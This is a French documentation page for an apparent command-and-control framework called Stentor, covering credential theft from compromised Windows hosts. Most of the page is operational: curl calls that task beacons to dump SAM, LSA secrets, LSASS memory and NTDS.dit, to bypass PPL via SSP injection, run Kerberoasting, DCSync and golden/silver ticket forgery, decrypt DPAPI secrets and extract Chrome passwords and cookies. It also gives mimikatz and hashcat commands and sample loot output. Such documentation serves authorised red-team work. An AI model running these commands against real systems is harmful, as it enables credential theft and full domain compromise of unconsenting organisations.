Accès aux informations d'identification¶

Capacités de collecte d’informations d’identification pour extraire le matériel d’authentification des hôtes compromis. Stentor implémente une boîte à outils complète d'accès aux informations d'identification couvrant les magasins d'informations d'identification locaux, l'analyse de la mémoire LSASS, les attaques du protocole Kerberos, la réplication de domaine, les secrets protégés par DPAPI et l'extraction des informations d'identification du navigateur.

Hiérarchie des informations d'identification¶

La collecte d'informations d'identification suit une progression naturelle depuis les magasins locaux (exigence de privilège la plus faible) jusqu'aux attaques au niveau du domaine (exigence de privilège la plus élevée). Chaque couche débloque de nouveaux chemins d'attaque.

flowchart TD
    A[Local Credentials] --> B[LSASS Memory]
    A --> C[DPAPI Secrets]
    B --> D[Domain Credentials]
    D --> E[Kerberos Attacks]
    D --> F[Lateral Movement]

    A1[SAM Database<br/>hashdump / sam_dump] --> A
    A2[LSA Secrets<br/>lsa_secrets] --> A
    A3[Cached Creds<br/>cached_creds] --> A

    B1[logonpasswords<br/>NTLM + WDigest + Kerberos] --> B
    B2[lsass_memdump<br/>Minidump to disk] --> B

    C1[DPAPI Triage<br/>RDP / WiFi / Vault / Certs] --> C
    C2[chromedump<br/>Browser passwords] --> C

    D1[DCSync<br/>DRSUAPI replication] --> D
    D2[NTDS Dump<br/>AD database extraction] --> D

    E1[Kerberoast<br/>TGS ticket cracking] --> E
    E2[AS-REP Roast<br/>Pre-auth bypass] --> E
    E3[Golden / Silver Ticket<br/>Kerberos forgery] --> E

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff
    style F fill:#01579b,color:#fff

Exigences de privilège :

Référence des commandes d'informations d'identification¶

Dumping des informations d'identification locales¶

Les magasins d'informations d'identification locaux contiennent du matériel d'authentification mis en cache sur la machine locale. Ces techniques accèdent aux ruches de registre en mémoire à l'aide de l'API de registre Windows : aucun processus enfant tel que reg.exe n'est généré.

Toutes les commandes de vidage des informations d'identification locales s'exécutent dans un processus sacrificiel fork-and-run pour l'isolation OPSEC. Les artefacts d'accès au registre pointent vers le PID sacrificiel, et non vers le processus de beacon.

hashdump

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/hashdump" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "hashdump"}'

[Fork-and-Run] Sacrificial PID: 5184

Extracted 4 NTLM hashes from SAM database:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
labuser:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Format: username:RID:LM_HASH:NT_HASH:::

hashcat -m 1000 hashes.txt rockyou.txt

sam_dump

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "sam_dump"}'

lsa_secrets

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsa_secrets"}'

[Fork-and-Run] Sacrificial PID: 4892

=== LSA Secrets ===

$MACHINE.ACC
  0000  A3 4F 2C 7B 8E ... (machine account password hash)

DPAPI_SYSTEM
  User:    0x01000000b1c347...
  Machine: 0x01000000f24a58...

DefaultPassword
  labuser / P@ssw0rd123

_SC_SQLService
  CORP\svc_sql / SqlServiceP@ss!

cached_creds

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "cached_creds"}'

[Fork-and-Run] Sacrificial PID: 3716

Cached Domain Credentials (DCC2):

$DCC2$10240#jsmith#a4f49c406510bdcab6824ee7c30fd852
$DCC2$10240#admin#b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Format: $DCC2$iterations#username#hash (hashcat mode 2100)

hashcat -m 2100 cached.txt rockyou.txt

Accès à la mémoire LSASS¶

LSASS (Local Security Authority Subsystem Service) conserve en mémoire le matériel d'authentification de tous les utilisateurs connectés. Cela inclut les hachages NTLM, les mots de passe en texte clair WDigest (si activés), les tickets Kerberos et les informations d'identification TSPKG.

logonpasswords

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/logonpasswords" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "logonpasswords"}'

[Fork-and-Run] Sacrificial PID: 6248

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CORP\jsmith
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2/19/2026 8:30:15 AM

    msv :
     [00000003] Primary
     * Username : jsmith
     * Domain   : CORP
     * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
     * SHA1     : a]9040f9c13d508...

    wdigest :
     * Username : jsmith
     * Domain   : CORP
     * Password : P@ssw0rd123

    kerberos :
     * Username : jsmith
     * Domain   : CORP.LOCAL
     * Password : (null)

lsass_memdump

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "lsass_memdump"}'

[Fork-and-Run] Sacrificial PID: 7412

LSASS minidump created: C:\Users\Public\lsass_20260219_083015.dmp (48.2 MB)

# pypykatz (Python)
pypykatz lsa minidump lsass_20260219_083015.dmp

# mimikatz (Windows)
mimikatz# sekurlsa::minidump lsass_20260219_083015.dmp
mimikatz# sekurlsa::logonpasswords

Dirigez MiniDumpWriteDump vers le disque sans l’approche sauvegardée en mémoire. Il s'agit d'une méthode de secours pour les environnements dans lesquels la technique de vidage de la mémoire principale échoue.

**Type de tâche :** `creds` (méthode : `lsass_legacy`)

=== "Coquille"

    ```
    lsass_legacy
    ```

=== "API (commande shell)"

    ```bash
    curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"command": "lsass_legacy"}'
    ```

!!! info "Quand utiliser"
    Utilisez `lsass_legacy` uniquement lorsque `logonpasswords` et `lsass_memdump` échouent tous deux. Cette méthode appelle `MiniDumpWriteDump` directement sans l'approche basée sur la mémoire, qui est plus susceptible d'être détectée mais peut fonctionner dans les cas extrêmes.

Comparaison des méthodes LSASS¶

Contournement PPL (RunAsPPL)¶

Lorsque LSASS s'exécute en tant que Protected Process Light (PPL), les techniques de vidage d'informations d'identification standard échouent car OpenProcess est refusé même avec SeDebugPrivilege. La commande ppl_bypass contourne cette protection à l’aide de l’injection SSP.

Comment ça marche :

1. Écrit une DLL personnalisée du fournisseur de support de sécurité (SSP) dans un emplacement temporaire
2. Appelle AddSecurityPackageW pour charger le SSP dans lsass.exe (le système d'exploitation charge la DLL dans le processus protégé)
3. Le rappel SpLsaModeInitialize du SSP s'exécute dans LSASS et capture les informations d'identification
4. Les résultats sont écrits dans une section de mémoire partagée ou dans un fichier temporaire et lus par le beacon
5. La DLL SSP temporaire est nettoyée

Syntaxe du shell :

ppl_bypass

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"type":"ppl_bypass","data":{}}'

Dump NTDS.dit¶

ntds_dump¶

Extrayez les hachages NTLM pour tous les comptes d'utilisateurs de domaine de la base de données Active Directory (NTDS.dit). Cette technique crée un cliché instantané de volume du lecteur système du contrôleur de domaine, puis extrait le fichier NTDS.dit et la ruche SYSTEM pour une analyse hors ligne.

Comment ça marche : Exécute vssadmin create shadow /for=C: pour créer un cliché instantané de volume, puis copie NTDS.dit et la ruche SYSTEM à partir du cliché instantané. Si vssadmin échoue, revient au mode ntdsutil IFM (Install From Media). Nécessite les privilèges d'administrateur de domaine sur le contrôleur de domaine.

Type de tâche : creds (méthode : ntds_dump)

ntds_dump

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ntds_dump"}'

Exemple de résultat :

[*] Creating volume shadow copy...
[+] Shadow copy created: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
[*] Extracting NTDS.dit from shadow copy...
[+] NTDS.dit extracted: C:\Windows\Temp\ntds.dit (256 MB)
[+] SYSTEM hive extracted: C:\Windows\Temp\SYSTEM (12 MB)

Extracted 1,247 NTLM hashes from NTDS.dit

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5:::
jsmith:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
...

Attaques Kerberos¶

Les techniques d'accès aux informations d'identification basées sur Kerberos exploitent le protocole d'authentification Kerberos pour extraire des hachages craquables ou falsifier des tickets d'authentification.

kerberoast
kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local
kerberoast /spn:MSSQLSvc/sql01.corp.local:1433
kerberoast /user:svc_sql /domain:CORP.LOCAL

# SSPI mode (uses current token)
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast"}'

# Explicit credentials
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberoast /domain:CORP.LOCAL /dc:dc01.corp.local /user:jsmith /password:P@ssw0rd"}'

[*] Jitter: 1000ms (range 500-1500ms) between TGS requests

{
  "hashes": [
    {
      "spn": "MSSQLSvc/sql01.corp.local:1433",
      "username": "svc_sql",
      "domain": "CORP.LOCAL",
      "hash": "$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3b4c5...$d6e7f8...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC"
    }
  ],
  "count": 1,
  "format": "hashcat"
}

# RC4 (etype 23) -- hashcat mode 13100
hashcat -m 13100 kerberoast.txt rockyou.txt

# AES256 (etype 18) -- hashcat mode 19700
hashcat -m 19700 kerberoast.txt rockyou.txt

asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup,svc_scan

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "asrep_roast /domain:CORP.LOCAL /dc:dc01.corp.local /user:svc_backup"}'

{
  "hashes": [
    {
      "username": "svc_backup",
      "domain": "CORP.LOCAL",
      "hash": "[email protected]:a1b2c3...$d4e5f6...",
      "enc_type": 23,
      "enc_type_name": "RC4-HMAC",
      "vulnerable": true
    }
  ],
  "vulnerable_count": 1,
  "tested_count": 2,
  "format": "hashcat"
}

hashcat -m 18200 asrep.txt rockyou.txt

Synchronisation DC¶

synchronisation continue¶

Répliquez les données d'identification de domaine à partir d'un contrôleur de domaine à l'aide du protocole MS-DRSR (Directory Replication Service Remote). DCSync simule un contrôleur de domaine demandant une réplication, ce qui oblige le contrôleur de domaine cible à envoyer des données de mot de passe pour les comptes spécifiés.

Comment ça marche : Se connecte au contrôleur de domaine via le mappeur de point de terminaison RPC (port 135), se lie à l'interface DRSUAPI à l'aide de DsBind / DsBindWithCred, résout les DN de l'utilisateur cible avec DsCrackNames, puis appelle IDL_DRSGetNCChanges pour répliquer les attributs de mot de passe (unicodePwd, supplementalCredentials, ntPwdHistory). La sortie inclut le hachage NTLM, les clés Kerberos (AES256, AES128, DES) et les informations d'identification supplémentaires.

Type de tâche : creds (méthode : dcsync)

Point de terminaison dédié : POST /api/v1/c2/beacons/:id/dcsync

dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:Administrator
dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /all

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/dcsync" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "domain": "CORP.LOCAL",
    "dc": "dc01.corp.local",
    "username": "CORP\\admin",
    "password": "AdminP@ss",
    "target_users": ["krbtgt", "Administrator"]
  }'

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dcsync /domain:CORP.LOCAL /dc:dc01.corp.local /user:krbtgt"}'

Exemple de résultat :

[DC] 'CORP.LOCAL' will be the domain
[DC] 'dc01.corp.local' will be the DC server

Object RDN           : CN=krbtgt
** SAM ACCOUNT NAME : krbtgt

Credentials:
  Hash NTLM: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: b7c1e2d3f4a5b6c7d8e9f0a1b2c3d4e5

Object RDN           : CN=Administrator
** SAM ACCOUNT NAME : Administrator

Credentials:
  Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
    lm  - 0: aad3b435b51404eeaad3b435b51404ee
    ntlm- 0: a4f49c406510bdcab6824ee7c30fd852

Forgeage de tickets Kerberos¶

Forgez des tickets Kerberos à l’aide de clés compromises pour obtenir un accès persistant ou ciblé sans avoir besoin du mot de passe d’origine en texte clair.

golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccdd...
golden_ticket CORP.LOCAL S-1-5-21-... dc01 aabb... --user Administrator --format kirbi

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccddeeff..."}'

silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd...

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd..."}'

overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899"}'

kerberos_ticket_use C:\Users\Public\golden.kirbi

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ticket_use C:\\Users\\Public\\golden.kirbi"}'

kerberos_ccache_use /tmp/krb5cc_admin

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ccache_use /tmp/krb5cc_admin"}'

Chaîne de décryptage DPAPI¶

L'API de protection des données (DPAPI) est le mécanisme intégré de Windows pour chiffrer les secrets des utilisateurs. Les données protégées par DPAPI incluent les informations d'identification RDP enregistrées, les mots de passe WiFi, les entrées du coffre-fort Credential Manager, les clés privées de certificat et les secrets du navigateur. Le décryptage des données DPAPI nécessite soit le mot de passe de l'utilisateur, soit la clé de sauvegarde du domaine.

flowchart TD
    MK[Master Keys<br/>dpapi_masterkeys] --> |User Password| DB[Decrypt Blob]
    BK[Domain Backup Key<br/>dpapi_backupkey] --> |LSAD RPC| DB

    DB --> RDP[RDP Credentials<br/>dpapi_rdp]
    DB --> WIFI[WiFi Passwords<br/>dpapi_wifi]
    DB --> VAULT[Vault Entries<br/>dpapi_vault]
    DB --> CERT[Certificate Keys<br/>dpapi_certkeys]

    TRIAGE[dpapi_triage<br/>Full Chain] --> MK
    TRIAGE --> RDP
    TRIAGE --> WIFI
    TRIAGE --> VAULT
    TRIAGE --> CERT

    style MK fill:#6a1b9a,color:#fff
    style BK fill:#4a148c,color:#fff
    style DB fill:#311b92,color:#fff
    style RDP fill:#1a237e,color:#fff
    style WIFI fill:#1a237e,color:#fff
    style VAULT fill:#1a237e,color:#fff
    style CERT fill:#1a237e,color:#fff
    style TRIAGE fill:#0d47a1,color:#fff

dpapi_masterkeys¶

Extrayez les fichiers de clé principale DPAPI des répertoires utilisateur Protect. Les clés principales sont les clés de chiffrement racine utilisées pour protéger les blobs DPAPI. Chaque utilisateur dispose d'un ensemble de clés principales stockées dans %APPDATA%\Microsoft\Protect\<SID>\.

Type de tâche : dpapi (méthode : masterkeys)

dpapi_masterkeys
dpapi_masterkeys --target S-1-5-21-1234567890-1234567890-1234567890-1001

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_masterkeys"}'

Exemple de résultat :

DPAPI master key enumeration for SID S-1-5-21-...-1001:
Found 3 master key files in C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...:

  C:\Users\jsmith\...\{a1b2c3d4-e5f6-7890-abcd-ef1234567890} (468 bytes)
  C:\Users\jsmith\...\{b2c3d4e5-f6a7-8901-bcde-f12345678901} (468 bytes)
  C:\Users\jsmith\...\Preferred (24 bytes)

Note: Master key blobs are encrypted. Decryption requires the user's password
or the domain backup key (via dpapi_backupkey).

dpapi_backupkey¶

Récupérez la clé de sauvegarde DPAPI du domaine à partir d'un contrôleur de domaine via LsaRetrievePrivateData RPC. La clé de sauvegarde du domaine peut déchiffrer les clés principales DPAPI de n'importe quel utilisateur du domaine, permettant ainsi le déchiffrement hors ligne de tous les secrets protégés par DPAPI sur l'ensemble du domaine.

Type de tâche : dpapi (méthode : backupkey)

dpapi_backupkey dc01.corp.local
dpapi_backupkey dc01.corp.local --domain CORP.LOCAL

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_backupkey dc01.corp.local"}'

dpapi_rdp¶

Déchiffrez les informations d'identification RDP (Remote Desktop Protocol) enregistrées à partir du gestionnaire d'informations d'identification Windows. Il s'agit de mots de passe enregistrés lorsqu'un utilisateur coche « Mémoriser mes informations d'identification » dans le client RDP.

Type de tâche : dpapi (méthode : rdp)

dpapi_rdp

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_rdp"}'

dpapi_wifi¶

Décryptez les mots de passe du profil WiFi stockés sur la machine locale. Les mots de passe WiFi sont protégés par DPAPI et stockés dans des profils XML sous ProgramData\Microsoft\Wlansvc\Profiles\.

Type de tâche : dpapi (méthode : wifi)

dpapi_wifi

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_wifi"}'

dpapi_vault¶

Décryptez les entrées du coffre-fort Windows Credential Manager. Le coffre-fort contient les informations d'identification enregistrées par les composants et applications Windows (informations d'identification Web, informations d'identification Windows, informations d'identification basées sur un certificat).

Type de tâche : dpapi (méthode : vault)

dpapi_vault

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_vault"}'

dpapi_certkeys¶

Décryptez les clés privées du certificat protégées par DPAPI. Ces clés sont stockées dans le magasin de certificats de l'utilisateur et peuvent être utilisées pour l'authentification, la signature de code ou la communication cryptée.

Type de tâche : dpapi (méthode : certkeys)

dpapi_certkeys
dpapi_certkeys --target S-1-5-21-...-1001

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_certkeys"}'

dpapi_triage¶

Exécutez un tri DPAPI complet : extrait les clés principales, puis déchiffre tous les types d'informations d'identification protégés par DPAPI disponibles (RDP, WiFi, Vault, clés de certificat) en une seule opération.

Type de tâche : dpapi (méthode : triage)

dpapi_triage
dpapi_triage --domain CORP.LOCAL --dc dc01.corp.local

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_triage"}'

Exemple de résultat :

=== Master Key Extraction ===
Found 3 master key files for SID S-1-5-21-...-1001

=== RDP Credentials ===
Target: TERMSRV/dc01.corp.local
  Username: CORP\admin
  Password: AdminP@ss123!

=== WiFi Passwords ===
SSID: CorpWiFi
  Password: WiFiP@ss2024

=== Vault Credentials ===
Resource: https://intranet.corp.local
  Username: jsmith
  Password: Intr@net!

=== Certificate Keys ===
Subject: [email protected]
  Key exported: RSA 2048-bit

Extraction des informations d'identification du navigateur¶

chromedump¶

Extrayez les mots de passe et les cookies enregistrés des navigateurs Google Chrome et Microsoft Edge (basés sur Chromium). Prend en charge à la fois le déchiffrement des clés DPAPI existantes et le cryptage lié aux applications Chrome v20+ via l'interface COM IElevator.

Comment ça marche :

1. Localise les répertoires de données utilisateur Chrome/Edge sous %LOCALAPPDATA%
2. Lit le fichier Local State JSON pour extraire la clé principale chiffrée
3. Déchiffrement de clé (double approche) :
   • Chrome v20+ (chiffrement lié à l'application) : utilise l'interface COM IElevator pour déchiffrer la clé liée à l'application via le service d'élévation de Chrome. Revient à DPAPI si IElevator n'est pas disponible
   • Legacy (Chrome <v20) : déchiffre la clé principale à l'aide de DPAPI (CryptUnprotectData)
4. Copie la base de données Login Data SQLite dans un fichier temporaire (évite le verrouillage de Chrome)
5. Interroge la table logins pour origin_url, username_value, password_value
6. Déchiffre chaque blob de mot de passe à l'aide d'AES-256-GCM avec la clé principale
7. Extrait et décrypte également les cookies de la base de données Cookies

Type de tâche : chromedump

Point de terminaison dédié : POST /api/v1/c2/beacons/:id/chromedump

chromedump

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/chromedump" \
  -H "Authorization: Bearer $TOKEN"

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "chromedump"}'

Exemple de résultat :

{
  "passwords": [
    {
      "url": "https://mail.corp.local/owa",
      "username": "[email protected]",
      "password": "OutlookP@ss123",
      "profile": "Default"
    },
    {
      "url": "https://vpn.corp.local",
      "username": "jsmith",
      "password": "VPNAccess!",
      "profile": "Default"
    }
  ],
  "cookies": [
    {
      "host": ".corp.local",
      "name": "SessionID",
      "value": "abc123...",
      "expires": 13350000000000000,
      "profile": "Default"
    }
  ]
}